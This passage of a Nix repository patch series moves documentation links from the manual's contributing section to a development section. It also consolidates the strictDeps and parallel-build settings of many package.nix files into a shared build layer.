documentation](./documentation.md). diff --git a/doc/manual/src/contributing/json-guideline.md b/doc/manual/src/development/json-guideline.md similarity index 100% rename from doc/manual/src/contributing/json-guideline.md rename to doc/manual/src/development/json-guideline.md diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/development/testing.md similarity index 100% rename from doc/manual/src/contributing/testing.md rename to doc/manual/src/development/testing.md diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index f65ada63a..877c4668b 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -168,7 +168,7 @@ - [impure derivation]{#gloss-impure-derivation} - [An experimental feature](#@docroot@/contributing/experimental-features.md#xp-feature-impure-derivations) that allows derivations to be explicitly marked as impure, + [An experimental feature](#@docroot@/development/experimental-features.md#xp-feature-impure-derivations) that allows derivations to be explicitly marked as impure, so that they are always rebuilt, and their outputs not reused by subsequent calls to realise them. - [Nix database]{#gloss-nix-database} @@ -353,7 +353,7 @@ Not yet stabilized functionality guarded by named experimental feature flags. These flags are enabled or disabled with the [`experimental-features`](./command-ref/conf-file.html#conf-experimental-features) setting. - See the contribution guide on the [purpose and lifecycle of experimental feaures](@docroot@/contributing/experimental-features.md). + See the contribution guide on the [purpose and lifecycle of experimental feaures](@docroot@/development/experimental-features.md). [Nix language]: ./language/index.md diff --git a/doc/manual/src/installation/installing-binary.md b/doc/manual/src/installation/installing-binary.md index 385008d8c..6a168ff3d 100644 --- a/doc/manual/src/installation/installing-binary.md +++ b/doc/manual/src/installation/installing-binary.md @@ -77,7 +77,7 @@ $ su root # Installing from a binary tarball You can also download a binary tarball that contains Nix and all its dependencies: -- Choose a [version](https://releases.nixos.org/?prefix=nix/) and [system type](../contributing/hacking.md#platforms) +- Choose a [version](https://releases.nixos.org/?prefix=nix/) and [system type](../development/building.md#platforms) - Download and unpack the tarball - Run the installer diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index e916c7360..51b83fc8a 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -113,7 +113,7 @@ Derivations can declare some infrequently used optional attributes. > `nix-build`. If the [`configurable-impure-env` experimental - feature](@docroot@/contributing/experimental-features.md#xp-feature-configurable-impure-env) + feature](@docroot@/development/experimental-features.md#xp-feature-configurable-impure-env) is enabled, these environment variables can also be controlled through the [`impure-env`](@docroot@/command-ref/conf-file.md#conf-impure-env) @@ -226,7 +226,7 @@ Derivations can declare some infrequently used optional attributes. - [`__contentAddressed`]{#adv-attr-__contentAddressed} > **Warning** - > This attribute is part of an [experimental feature](@docroot@/contributing/experimental-features.md). + > This attribute is part of an [experimental feature](@docroot@/development/experimental-features.md). > > To use this attribute, you must enable the > [`ca-derivations`][xp-feature-ca-derivations] experimental feature. @@ -370,6 +370,6 @@ Derivations can declare some infrequently used optional attributes. ensures that the derivation can only be built on a machine with the `kvm` feature. -[xp-feature-ca-derivations]: @docroot@/contributing/experimental-features.md#xp-feature-ca-derivations -[xp-feature-dynamic-derivations]: @docroot@/contributing/experimental-features.md#xp-feature-dynamic-derivations -[xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing +[xp-feature-ca-derivations]: @docroot@/development/experimental-features.md#xp-feature-ca-derivations +[xp-feature-dynamic-derivations]: @docroot@/development/experimental-features.md#xp-feature-dynamic-derivations +[xp-feature-git-hashing]: @docroot@/development/experimental-features.md#xp-feature-git-hashing diff --git a/doc/manual/src/protocols/derivation-aterm.md b/doc/manual/src/protocols/derivation-aterm.md index e58b602a3..1ba757ae0 100644 --- a/doc/manual/src/protocols/derivation-aterm.md +++ b/doc/manual/src/protocols/derivation-aterm.md @@ -14,6 +14,6 @@ Derivations are serialised in one of the following formats: DrvWithVersion(, ...) ``` - The only `version-string`s that are in use today are for [experimental features](@docroot@/contributing/experimental-features.md): + The only `version-string`s that are in use today are for [experimental features](@docroot@/development/experimental-features.md): - - `"xp-dyn-drv"` for the [`dynamic-derivations`](@docroot@/contributing/experimental-features.md#xp-feature-dynamic-derivations) experimental feature. + - `"xp-dyn-drv"` for the [`dynamic-derivations`](@docroot@/development/experimental-features.md#xp-feature-dynamic-derivations) experimental feature. diff --git a/doc/manual/src/protocols/json/derivation.md b/doc/manual/src/protocols/json/derivation.md index f881dd703..2f85340d6 100644 --- a/doc/manual/src/protocols/json/derivation.md +++ b/doc/manual/src/protocols/json/derivation.md @@ -3,7 +3,7 @@ > **Warning** > > This JSON format is currently -> [**experimental**](@docroot@/contributing/experimental-features.md#xp-feature-nix-command) +> [**experimental**](@docroot@/development/experimental-features.md#xp-feature-nix-command) > and subject to change. The JSON serialization of a diff --git a/doc/manual/src/protocols/json/store-object-info.md b/doc/manual/src/protocols/json/store-object-info.md index 9f647a96c..6b4f48437 100644 --- a/doc/manual/src/protocols/json/store-object-info.md +++ b/doc/manual/src/protocols/json/store-object-info.md @@ -3,7 +3,7 @@ > **Warning** > > This JSON format is currently -> [**experimental**](@docroot@/contributing/experimental-features.md#xp-feature-nix-command) +> [**experimental**](@docroot@/development/experimental-features.md#xp-feature-nix-command) > and subject to change. Info about a [store object]. diff --git a/doc/manual/src/release-notes/rl-2.18.md b/doc/manual/src/release-notes/rl-2.18.md index 4bbc52b50..eb26fc9e7 100644 --- a/doc/manual/src/release-notes/rl-2.18.md +++ b/doc/manual/src/release-notes/rl-2.18.md @@ -13,7 +13,7 @@ - The `discard-references` feature has been stabilized. This means that the - [unsafeDiscardReferences](@docroot@/contributing/experimental-features.md#xp-feature-discard-references) + [unsafeDiscardReferences](@docroot@/development/experimental-features.md#xp-feature-discard-references) attribute is no longer guarded by an experimental flag and can be used freely. @@ -21,7 +21,7 @@ This only affects `nix-build --json` when "building" non-derivation things like fetched sources, which is a no-op. - A new builtin [`outputOf`](@docroot@/language/builtins.md#builtins-outputOf) has been added. - It is part of the [`dynamic-derivations`](@docroot@/contributing/experimental-features.md#xp-feature-dynamic-derivations) experimental feature. + It is part of the [`dynamic-derivations`](@docroot@/development/experimental-features.md#xp-feature-dynamic-derivations) experimental feature. - Flake follow paths at depths greater than 2 are now handled correctly, preventing "follows a non-existent input" errors. diff --git a/doc/manual/src/release-notes/rl-2.19.md b/doc/manual/src/release-notes/rl-2.19.md index ba6eb9c64..e2e2f85cc 100644 --- a/doc/manual/src/release-notes/rl-2.19.md +++ b/doc/manual/src/release-notes/rl-2.19.md @@ -17,8 +17,8 @@ - `nix-shell` shebang lines now support single-quoted arguments. -- `builtins.fetchTree` is now its own experimental feature, [`fetch-tree`](@docroot@/contributing/experimental-features.md#xp-fetch-tree). - This allows stabilising it independently of the rest of what is encompassed by [`flakes`](@docroot@/contributing/experimental-features.md#xp-fetch-tree). +- `builtins.fetchTree` is now its own experimental feature, [`fetch-tree`](@docroot@/development/experimental-features.md#xp-fetch-tree). + This allows stabilising it independently of the rest of what is encompassed by [`flakes`](@docroot@/development/experimental-features.md#xp-fetch-tree). - The interface for creating and updating lock files has been overhauled: @@ -33,7 +33,7 @@ - The flake-specific flags `--recreate-lock-file` and `--update-input` have been removed from all commands operating on installables. They are superceded by `nix flake update`. -- Commit signature verification for the [`builtins.fetchGit`](@docroot@/language/builtins.md#builtins-fetchGit) is added as the new [`verified-fetches` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-verified-fetches). +- Commit signature verification for the [`builtins.fetchGit`](@docroot@/language/builtins.md#builtins-fetchGit) is added as the new [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). - [`nix path-info --json`](@docroot@/command-ref/new-cli/nix3-path-info.md) (experimental) now returns a JSON map rather than JSON list. diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md index 3c59b8583..ac842fdc0 100644 --- a/doc/manual/src/release-notes/rl-2.23.md +++ b/doc/manual/src/release-notes/rl-2.23.md @@ -14,7 +14,7 @@ - Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722) - The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@/contributing/cli-guideline.md#returning-future-proof-json). + The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@/development/cli-guideline.md#returning-future-proof-json). In particular, the hash algorithm and content addressing method of content-addresed derivation outputs are now separated into two fields `hashAlgo` and `method`, rather than one field with an arcane `:`-separated format. @@ -89,7 +89,7 @@ This makes records of this sort more self-describing, and easier to consume programmatically. We will follow this design principle going forward; - the [JSON guidelines](@docroot@/contributing/json-guideline.md) in the contributing section have been updated accordingly. + the [JSON guidelines](@docroot@/development/json-guideline.md) in the contributing section have been updated accordingly. - Large path warnings [#10661](https://github.com/NixOS/nix/pull/10661) diff --git a/doc/manual/src/release-notes/rl-2.4.md b/doc/manual/src/release-notes/rl-2.4.md index 8b566fc7b..1201e53b6 100644 --- a/doc/manual/src/release-notes/rl-2.4.md +++ b/doc/manual/src/release-notes/rl-2.4.md @@ -23,7 +23,7 @@ more than 2800 commits from 195 contributors since release 2.3. * The **`nix` command** has seen a lot of work and is now almost at feature parity with the old command-line interface (the `nix-*` commands). It aims to be [more modern, consistent and pleasant to - use](../contributing/cli-guideline.md) than the old CLI. It is still + use](../development/cli-guideline.md) than the old CLI. It is still marked as experimental but its interface should not change much anymore in future releases. diff --git a/doc/manual/src/store/file-system-object/content-address.md b/doc/manual/src/store/file-system-object/content-address.md index 1c63c52eb..410d7fb7c 100644 --- a/doc/manual/src/store/file-system-object/content-address.md +++ b/doc/manual/src/store/file-system-object/content-address.md @@ -82,4 +82,4 @@ In the future, we may support a Git-like hash for such file system objects, or w [file system object]: ../file-system-object.md [store object]: ../store-object.md -[xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing +[xp-feature-git-hashing]: @docroot@/development/experimental-features.md#xp-feature-git-hashing diff --git a/doc/manual/src/store/store-object/content-address.md b/doc/manual/src/store/store-object/content-address.md index f6f982035..02dce2836 100644 --- a/doc/manual/src/store/store-object/content-address.md +++ b/doc/manual/src/store/store-object/content-address.md @@ -92,4 +92,4 @@ becomes more widespread, this restriction will be revisited. [fso-ca]: ../file-system-object/content-address.md [sp-spec]: @docroot@/protocols/store-path.md -[xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing +[xp-feature-git-hashing]: @docroot@/development/experimental-features.md#xp-feature-git-hashing diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index 8f48b53a5..30a8c5c58 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -65,7 +65,7 @@ struct EvalSettings : Config extern "C" typedef void (*ValueInitialiser) (EvalState & state, Value & v); ``` - The [Nix C++ API documentation](@docroot@/contributing/documentation.md#api-documentation) has more details on evaluator internals. + The [Nix C++ API documentation](@docroot@/development/documentation.md#api-documentation) has more details on evaluator internals. - `builtins.exec` *arguments* diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 333e486fd..e59d7fe67 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -383,7 +383,7 @@ static RegisterPrimOp primop_fetchTree({ - `"mercurial"` *input* can also be a [URL-like reference](@docroot@/command-ref/new-cli/nix3-flake.md#flake-references). - The additional input types and the URL-like syntax requires the [`flakes` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-flakes) to be enabled. + The additional input types and the URL-like syntax requires the [`flakes` experimental feature](@docroot@/development/experimental-features.md#xp-feature-flakes) to be enabled. > **Example** > @@ -670,12 +670,12 @@ static RegisterPrimOp primop_fetchGit({ Whether to check `rev` for a signature matching `publicKey` or `publicKeys`. If `verifyCommit` is enabled, then `fetchGit` cannot use a local repository with uncommitted changes. - Requires the [`verified-fetches` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-verified-fetches). + Requires the [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). - `publicKey` The public key against which `rev` is verified if `verifyCommit` is enabled. - Requires the [`verified-fetches` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-verified-fetches). + Requires the [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). - `keytype` (default: `"ssh-ed25519"`) @@ -687,7 +687,7 @@ static RegisterPrimOp primop_fetchGit({ - `"ssh-ed25519"` - `"ssh-ed25519-sk"` - `"ssh-rsa"` - Requires the [`verified-fetches` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-verified-fetches). + Requires the [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). - `publicKeys` @@ -701,7 +701,7 @@ static RegisterPrimOp primop_fetchGit({ } ``` - Requires the [`verified-fetches` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-verified-fetches). + Requires the [`verified-fetches` experimental feature](@docroot@/development/experimental-features.md#xp-feature-verified-fetches). Here are some examples of how to use `fetchGit`. diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 30d7537bd..8760c9d14 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -286,7 +286,7 @@ public: For backward compatibility, `ssh://` may be omitted. The hostname may be an alias defined in `~/.ssh/config`. - 2. A comma-separated list of [Nix system types](@docroot@/contributing/hacking.md#system-type). + 2. A comma-separated list of [Nix system types](@docroot@/development/building.md#system-type). If omitted, this defaults to the local platform type. > **Example** @@ -866,13 +866,13 @@ public: - `ca-derivations` - Included by default if the [`ca-derivations` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-ca-derivations) is enabled. + Included by default if the [`ca-derivations` experimental feature](@docroot@/development/experimental-features.md#xp-feature-ca-derivations) is enabled. This system feature is implicitly required by derivations with the [`__contentAddressed` attribute](@docroot@/language/advanced-attributes.md#adv-attr-__contentAddressed). - `recursive-nix` - Included by default if the [`recursive-nix` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-recursive-nix) is enabled. + Included by default if the [`recursive-nix` experimental feature](@docroot@/development/experimental-features.md#xp-feature-recursive-nix) is enabled. - `uid-range` diff --git a/src/libutil/config.hh b/src/libutil/config.hh index 1952ba1b8..c0c59ac68 100644 --- a/src/libutil/config.hh +++ b/src/libutil/config.hh @@ -393,7 +393,7 @@ struct ExperimentalFeatureSettings : Config { {{#include experimental-features-shortlist.md}} - Experimental features are [further documented in the manual](@docroot@/contributing/experimental-features.md). + Experimental features are [further documented in the manual](@docroot@/development/experimental-features.md). )"}; /** diff --git a/src/nix/nix.md b/src/nix/nix.md index 4464bef37..f958ce09a 100644 --- a/src/nix/nix.md +++ b/src/nix/nix.md @@ -50,7 +50,7 @@ manual](https://nixos.org/manual/nix/stable/). > **Warning** \ > Installables are part of the unstable -> [`nix-command` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-nix-command), +> [`nix-command` experimental feature](@docroot@/development/experimental-features.md#xp-feature-nix-command), > and subject to change without notice. Many `nix` subcommands operate on one or more *installables*. @@ -70,9 +70,9 @@ That is, Nix will operate on the default flake output attribute of the flake in > **Warning** \ > Flake output attribute installables depend on both the -> [`flakes`](@docroot@/contributing/experimental-features.md#xp-feature-flakes) +> [`flakes`](@docroot@/development/experimental-features.md#xp-feature-flakes) > and -> [`nix-command`](@docroot@/contributing/experimental-features.md#xp-feature-nix-command) +> [`nix-command`](@docroot@/development/experimental-features.md#xp-feature-nix-command) > experimental features, and subject to change without notice. Example: `nixpkgs#hello` From 3b49f7a1439bc75cefddb0fe0031824f3708da83 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 24 Jul 2024 23:12:39 -0400 Subject: [PATCH 1189/1251] Deduplicate our many `package.nix` a bit (#11175) - They should all be built in parallel - They should all use strict deps by default --- packaging/dependencies.nix | 27 ++++++++++++++++++------- src/external-api-docs/package.nix | 4 ---- src/internal-api-docs/package.nix | 4 ---- src/libcmd/package.nix | 6 ------ src/libexpr-c/package.nix | 4 ---- src/libexpr/package.nix | 4 ---- src/libfetchers/package.nix | 6 ------ src/libflake/package.nix | 6 ------ src/libmain-c/package.nix | 4 ---- src/libmain/package.nix | 6 ------ src/libstore-c/package.nix | 4 ---- src/libstore/package.nix | 4 ---- src/libutil-c/package.nix | 4 ---- src/libutil/package.nix | 4 ---- src/nix/package.nix | 6 ------ src/perl/package.nix | 2 +- tests/unit/libexpr-support/package.nix | 4 ---- tests/unit/libexpr/package.nix | 4 ---- tests/unit/libfetchers/package.nix | 4 ---- tests/unit/libflake/package.nix | 4 ---- tests/unit/libstore-support/package.nix | 4 ---- tests/unit/libstore/package.nix | 4 ---- tests/unit/libutil-support/package.nix | 4 ---- tests/unit/libutil/package.nix | 4 ---- 24 files changed, 21 insertions(+), 106 deletions(-) diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix index f09ca5d18..b77e1d14f 100644 --- a/packaging/dependencies.nix +++ b/packaging/dependencies.nix @@ -63,9 +63,16 @@ let # Work around weird `--as-needed` linker behavior with BSD, see # https://github.com/mesonbuild/meson/issues/3593 - bsdNoLinkAsNeeded = finalAttrs: prevAttrs: lib.optionalAttrs stdenv.hostPlatform.isBSD { - mesonFlags = [ (lib.mesonBool "b_asneeded" false) ] ++ prevAttrs.mesonFlags or []; - }; + bsdNoLinkAsNeeded = finalAttrs: prevAttrs: + lib.optionalAttrs stdenv.hostPlatform.isBSD { + mesonFlags = [ (lib.mesonBool "b_asneeded" false) ] ++ prevAttrs.mesonFlags or []; + }; + + miscGoodPractice = finalAttrs: prevAttrs: + { + strictDeps = prevAttrs.strictDeps or true; + enableParallelBuilding = true; + }; in scope: { @@ -136,8 +143,14 @@ scope: { inherit resolvePath filesetToSource; - mkMesonDerivation = f: stdenv.mkDerivation - (lib.extends - (lib.composeExtensions bsdNoLinkAsNeeded localSourceLayer) - f); + mkMesonDerivation = f: let + exts = [ + miscGoodPractice + bsdNoLinkAsNeeded + localSourceLayer + ]; + in stdenv.mkDerivation + (lib.extends + (lib.foldr lib.composeExtensions (_: _: {}) exts) + f); } diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix index da136bbe1..743b3e9b7 100644 --- a/src/external-api-docs/package.nix +++ b/src/external-api-docs/package.nix @@ -53,10 +53,6 @@ mkMesonDerivation (finalAttrs: { echo "doc external-api-docs $out/share/doc/nix/external-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products ''; - enableParallelBuilding = true; - - strictDeps = true; - meta = { platforms = lib.platforms.all; }; diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix index f2077dcaf..07ca6d4d9 100644 --- a/src/internal-api-docs/package.nix +++ b/src/internal-api-docs/package.nix @@ -48,10 +48,6 @@ mkMesonDerivation (finalAttrs: { echo "doc internal-api-docs $out/share/doc/nix/internal-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products ''; - enableParallelBuilding = true; - - strictDeps = true; - meta = { platforms = lib.platforms.all; }; diff --git a/src/libcmd/package.nix b/src/libcmd/package.nix index ec3aa4660..cde494901 100644 --- a/src/libcmd/package.nix +++ b/src/libcmd/package.nix @@ -93,14 +93,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated - # to work with `strictDeps`. - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix index 0b895437b..eb42195a4 100644 --- a/src/libexpr-c/package.nix +++ b/src/libexpr-c/package.nix @@ -63,12 +63,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix index 704456c96..4d10079ff 100644 --- a/src/libexpr/package.nix +++ b/src/libexpr/package.nix @@ -102,12 +102,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix index b4abb144b..9b5d8bff7 100644 --- a/src/libfetchers/package.nix +++ b/src/libfetchers/package.nix @@ -67,14 +67,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated - # to work with `strictDeps`. - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libflake/package.nix b/src/libflake/package.nix index af6f5da94..851adf07e 100644 --- a/src/libflake/package.nix +++ b/src/libflake/package.nix @@ -67,14 +67,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated - # to work with `strictDeps`. - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libmain-c/package.nix b/src/libmain-c/package.nix index 478e34a85..ce6f67300 100644 --- a/src/libmain-c/package.nix +++ b/src/libmain-c/package.nix @@ -68,12 +68,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libmain/package.nix b/src/libmain/package.nix index bbd97ec3e..47513dbdc 100644 --- a/src/libmain/package.nix +++ b/src/libmain/package.nix @@ -62,14 +62,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated - # to work with `strictDeps`. - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix index fc34c1bda..e4f372236 100644 --- a/src/libstore-c/package.nix +++ b/src/libstore-c/package.nix @@ -64,12 +64,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libstore/package.nix b/src/libstore/package.nix index 0a2ace91e..02ff4194a 100644 --- a/src/libstore/package.nix +++ b/src/libstore/package.nix @@ -101,12 +101,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix index 53451998d..ccfafd4d3 100644 --- a/src/libutil-c/package.nix +++ b/src/libutil-c/package.nix @@ -62,12 +62,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/libutil/package.nix b/src/libutil/package.nix index 28d7d8f0e..4ce1a75b0 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -88,12 +88,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/nix/package.nix b/src/nix/package.nix index fe83c6969..ef7265458 100644 --- a/src/nix/package.nix +++ b/src/nix/package.nix @@ -84,8 +84,6 @@ mkMesonDerivation (finalAttrs: { ] ); - outputs = [ "out" "dev" ]; - nativeBuildInputs = [ meson ninja @@ -114,12 +112,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/src/perl/package.nix b/src/perl/package.nix index 26856e631..0b9343fba 100644 --- a/src/perl/package.nix +++ b/src/perl/package.nix @@ -73,5 +73,5 @@ perl.pkgs.toPerlModule (mkMesonDerivation (finalAttrs: { "--print-errorlogs" ]; - enableParallelBuilding = true; + strictDeps = false; })) diff --git a/tests/unit/libexpr-support/package.nix b/tests/unit/libexpr-support/package.nix index 0c966c55a..f53aa842f 100644 --- a/tests/unit/libexpr-support/package.nix +++ b/tests/unit/libexpr-support/package.nix @@ -66,12 +66,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/tests/unit/libexpr/package.nix b/tests/unit/libexpr/package.nix index 015e3fbc6..e70ed7836 100644 --- a/tests/unit/libexpr/package.nix +++ b/tests/unit/libexpr/package.nix @@ -71,12 +71,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; passthru = { diff --git a/tests/unit/libfetchers/package.nix b/tests/unit/libfetchers/package.nix index cf75f68e5..ad512f562 100644 --- a/tests/unit/libfetchers/package.nix +++ b/tests/unit/libfetchers/package.nix @@ -69,12 +69,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; passthru = { diff --git a/tests/unit/libflake/package.nix b/tests/unit/libflake/package.nix index d2c9fdb89..0d63d2ff7 100644 --- a/tests/unit/libflake/package.nix +++ b/tests/unit/libflake/package.nix @@ -69,12 +69,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; passthru = { diff --git a/tests/unit/libstore-support/package.nix b/tests/unit/libstore-support/package.nix index cb15cdd5f..f512db3ee 100644 --- a/tests/unit/libstore-support/package.nix +++ b/tests/unit/libstore-support/package.nix @@ -66,12 +66,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/tests/unit/libstore/package.nix b/tests/unit/libstore/package.nix index 39bf77585..7560a5b79 100644 --- a/tests/unit/libstore/package.nix +++ b/tests/unit/libstore/package.nix @@ -73,12 +73,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; passthru = { diff --git a/tests/unit/libutil-support/package.nix b/tests/unit/libutil-support/package.nix index fdecdec72..1665804cb 100644 --- a/tests/unit/libutil-support/package.nix +++ b/tests/unit/libutil-support/package.nix @@ -64,12 +64,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; meta = { diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix index c7827e74f..2fce5bfa8 100644 --- a/tests/unit/libutil/package.nix +++ b/tests/unit/libutil/package.nix @@ -70,12 +70,8 @@ mkMesonDerivation (finalAttrs: { LDFLAGS = "-fuse-ld=gold"; }; - enableParallelBuilding = true; - separateDebugInfo = !stdenv.hostPlatform.isStatic; - strictDeps = true; - hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; passthru = { From 8a7e31362ad0b232f4de098573370f6994834397 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 25 Jul 2024 05:57:06 +0200 Subject: [PATCH 1190/1251] rl-next: Add credit --- doc/manual/rl-next/drop-vendored-toml11.md | 2 ++ doc/manual/rl-next/harden-user-sandboxing.md | 5 +++++ doc/manual/rl-next/nix-shell-looks-for-shell-nix.md | 2 ++ doc/manual/rl-next/repl-doc-renders-doc-comments.md | 4 +++- doc/manual/rl-next/shebang-relative.md | 2 ++ 5 files changed, 14 insertions(+), 1 deletion(-) diff --git a/doc/manual/rl-next/drop-vendored-toml11.md b/doc/manual/rl-next/drop-vendored-toml11.md index 